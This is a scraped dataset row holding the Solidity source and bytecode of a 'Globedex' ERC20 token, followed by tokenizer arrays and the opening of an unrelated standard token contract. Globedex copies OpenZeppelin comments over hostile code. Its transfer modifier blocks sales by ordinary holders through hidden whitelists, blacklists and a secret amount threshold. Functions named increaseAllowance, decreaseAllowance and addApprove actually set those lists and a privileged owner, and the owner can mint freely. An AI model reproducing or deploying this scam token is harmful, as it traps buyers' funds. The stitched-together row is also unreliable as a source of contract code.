// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Globedex is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e767482f2ec3eae9d3fbfd9e8ecf60babdd37c1b4bb7d650695772ea6acd144664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
19797,
2692,
2475,
2063,
23499,
2575,
2546,
2620,
2050,
2692,
17788,
2575,
22907,
2475,
6305,
2620,
20952,
16048,
2546,
2575,
2094,
26187,
2546,
2509,
3401,
27009,
2050,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,577 | 0x955d8b22f460ba3acfc2251dc03dcb79b8f41fdb | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
